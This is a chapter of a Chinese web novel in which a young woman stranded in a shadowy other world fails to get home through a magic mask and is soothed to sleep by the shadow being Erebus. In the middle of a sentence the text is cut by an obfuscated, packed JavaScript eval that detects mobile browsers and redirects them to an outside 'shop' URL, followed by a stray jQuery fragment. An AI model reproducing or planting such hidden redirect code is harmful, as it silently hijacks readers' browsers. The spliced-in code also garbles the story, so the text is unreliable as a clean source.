宵一走,徐千盈的精神立刻放松下来,她找了个凉台,赏着月色,和埃雷伯斯聊天。
郊外的景色很美,月光皎洁,夜空中还有繁星璀璨,和城区是截然相反的画风。就连在现实世界,徐千盈都很难看到如此澄澈的天空,城市的夜晚总是灰蒙蒙的,连星星都鲜少见到。
她不由想起学过的一篇语文课文,内容是中秋佳节,一大家人在庭院里纳凉赏月,小朋友们围着外婆吃月饼听故事。当时她就特别羡慕这种美好的温馨氛围,可惜从未实现。
“这有什么难的,明天我们就买材料来这里做月饼,你想吃什么样的都行。”埃雷伯斯最看不得徐千盈失落的模样。
“好。”徐千盈轻轻应了声,抬眼假装去看月亮,极力阻止眼眶中积蓄的泪水滴落。
今夜是一轮圆月呢。
----------------
过了约莫半个小时,覆在徐千盈身上的黑色物质不再是一片幽深的漆黑,拥有了月光般流淌的光泽。埃雷伯斯告诉她这代表能量已经吸收足够,两人起身回室内。
客厅座钟的时针将将指向8,徐千盈因为久坐,下肢有些发麻,她缓步爬上二楼,想快速洗漱完躺回床上休息。盥洗室的镜子照出徐千盈此时的模样,她不设防被吓了一跳,除了没有大眼白小眼珠,简直就和柯南里的黑影人一模一样。
黑影人睨视镜头的坏笑同样是徐千盈的童年阴影之一,她站立在洗漱镜前,深吸一口气,无奈道:“我必须保持这个样子直到明天早上吗?洗漱怎么办?”
身上的黑色物质轻微波动,似是埃雷伯斯在思考。很快,它们如潮水般从徐千盈身上流淌下来,源源不绝地向屋内的边角涌去,将房子的内部一整个覆盖满。
“好了,”埃雷伯斯变回身形,只是脸色苍白许多,“现在你可以在家里随意走动,不要离开这些黑影的保护范围就好。”
徐千盈惊叹地环顾屋内景象,她伸手触碰墙上的流动黑影,对方顿时丝丝缕缕缠绕上她的手指,讨好般旋转着。
“把自己扩散在这么大的空间,会不会有影响。”她有些担忧,回头查看埃雷伯斯的状态。
埃雷伯斯摇头:“一晚上还是没问题的。”
见他确实没有勉强的意思,徐千盈转身专心洗漱。这座房子没有智能系统,物品倒是一应俱全,连平时用的最多的一次性洗脸巾也是满满一袋,挂在开关上方。她摸了一把包装袋外侧,反转手掌观察指腹,没有灰尘,是全新的。
既然现在不需要埃雷伯斯的贴身保护,徐千盈干脆翻出一套真丝睡衣,舒舒服服洗了个澡。用毛巾将头发擦拭至半干未干的状态,她回房间一跃扑入熟悉的羽绒被,好软……她发出满足的喟叹。
时间还早,徐千盈打开光脑想刷些娱乐影音助眠,却发现根本没有信号,她打开床边的投影仪,同样也是如此。难道是因为这里太偏远的缘故?她暗自思忖,回想起白天埃雷伯斯说过这里是幻想不及的空白地段,失去与外界的连接倒也合理。
没有其他东西转移注意力,徐千盈的脑袋开始漫无目的地思考。“不对!”她猛地从床上坐起身,想起来自己还有一件重要的事情没做——在夜晚测试面具。
她从被胡乱甩在迷你沙发上的长裤中找出面具,准备再次前往书房,路过隔壁的空房间。这里原先是徐千盈用以招待朋友的客房,现在变成了埃雷伯斯的卧室。里面人听到动静果然尾随出来:“怎么了?”
徐千盈摇摇手中面具:“我想再去尝试一下能不能回去。”
埃雷伯斯垂眸看着面具,顿了两秒,语气中是掩饰不住的失落:“很着急回去吗?”
徐千盈自然知晓他在失落什么,她注视着埃雷伯斯的眼睛,眉头忧愁地蹙起:“我的家人、朋友都在那个世界,我的人生也不属于这里,所以我是必须要回去的。你能够和我走吗?就算你没法离开,我也会经常看望你的。”
“我试过很多次,不行。你走吧。”埃雷伯斯退后,想回到自己的房间,有些逃避的意味。
但他没能成功——徐千盈一把拽住了他的手腕,眼神严肃而坚定:“和我一起去,总归要试试对不对,万一这次成功了呢。”
她的眼睛在暗夜中熠熠闪光,埃雷伯斯觉得那其中有一小团火焰,柔和地燃烧着,通过两人连接之处蔓延过来,抚慰了他心底的苦涩。
“好。”他轻声应答。
----------------
书房的景象与徐千盈离开那天并无二致,徐千盈大受鼓舞,认为这是个好兆头。她凭借记忆将面具放置在大致位置,犹豫片刻,主动抓住了埃雷伯斯的手掌,两人的虎口卡在一起,形成紧紧相握的姿态。
毫无准备便被“牵手”,埃雷伯斯明显呆滞了两秒,手指触电般微震,最后反客为主,牢牢抓紧了徐千盈的手。他眼中是明晃晃的喜悦,羞涩不已,只敢将视线放置在面具处,脑中却疯狂感受着手掌传来的触感。
徐千盈没管埃雷伯斯反应如何,她的注意力早已不在二人交握的双手,她用另一只手触上面具,忐忑不安地等待着。
无事发生。
为什么还是不行?徐千盈隐隐生出一丝绝望,她实在想不到还有什么别的方法,能够帮助她回到现实世界了。埃雷伯斯松开手,暂离房间,让徐千盈独自尝试,还是无果。
徐千盈想起失去意识前周围似乎是漆黑一片,加上闻到的檀香,她拜托埃雷伯斯重新变回本体模样将自己包裹住,再次触碰面具,仍然以失败告终。
究竟要怎样做才对?徐千盈揪扯住头发乱挠一通,苦恼良久,还是没有灵感,只能无奈作罢回到卧室休憩。她瘫软在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787423|190549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
羽绒被里,想念起父母,不知道他们得知自己失踪的消息,家里又会怎样乱作一团,希望他们不要怪罪陈姨……
距离初次来到这个世界已经过去两天,如果两个世界时间流速一致的话,今晚她应该已经回到宿舍了。离校前林惜文还说周日要去做烘焙,等周末晚上大家都回来,一起品评她的手艺。林惜文看着就香香软软的,动手能力也强,做出来的小蛋糕就肯定好吃,可惜现在看来是吃不上了。
尽管徐千盈紧闭双眼,还是有泪水顺着她的脸颊流淌下来。一旦开了口子,悲伤便像泄洪一般止不住,她干脆将脸埋进被子大哭起来。
“发生什么事了?”埃雷伯斯突然出现在床头,应该是听到她的哭声太过慌张,直接透过墙壁赶了过来。
徐千盈尽力缓和心情,用力闭气想止住哭声,结果适得其反,大声抽噎起来:“没事,就是有点想家了。你说我突然失踪了,他们会不会找翻天?等我回去了可怎么和他们解释呀。”
埃雷伯斯坐在床边,用手掌轻轻按住她的后背往下顺气:“不用担心,是我不好,忘了和你说,自从你进来之后,这里的时间静止了。所以等你回去后,还是原来的时间点,不会有任何影响。”
见他这样说,徐千盈一下放心许多,哭声也渐渐平息。她想起来上午在一楼见到的陈姨的虚影,确实和日常一样没有异状。假若她在那个世界是失踪状态,陈姨不可能还有闲心在房间刷视频取乐的。
可她的心情还是有些低落,徐千盈是个e人,非常需要外界的支持和陪伴,脆弱的时候尤其。她声音很轻,祈求道:“那你能不能,多陪我一会,随便说说话,等我睡着就行。”
“当然可以呀,”埃雷伯斯特意放轻声音,温柔地抚摸徐千盈披散的长发,顺着头顶向下捋,他知道这样能让徐千盈感到安全和舒适,“总能找到办法的,我会尽我一切所能帮助你。”
果然,没顺几下星徐千盈便露出享受的表情,头皮被按摩的感觉让她飘飘欲仙,还有些晕乎乎的,所有杂乱的思维都被切断了。她忘记自己想聊的话题,窝在被子里哼哼唧唧,仅剩的理智只能支撑她说出一句感谢:“好舒服,谢谢你。”
埃雷伯斯轻轻笑了起来,他侧身躺在徐千盈身旁,一只手轻拍她的后背,另一只手顺着她的秀发。淡雅的檀香味萦绕鼻尖,恍惚间徐千盈觉得自己回到了无忧无虑的婴儿时期,有人照看在身侧,躺在襁褓中,温暖舒适。
她感受到前所未有的安全感,所有她所恐惧的,黑夜、怪物亦或者是其他什么,全部被阻隔在外了。于是阖上眼,沉沉睡去……
黑暗中,埃雷伯斯仍然机械般持续着相同的动作,他的眼睛一直注视着徐千盈,甚至没有眨过一次,贪恋地用视线描摹她的睡颜,仿佛要将这个画面牢牢刻印在脑海中。
直到天明。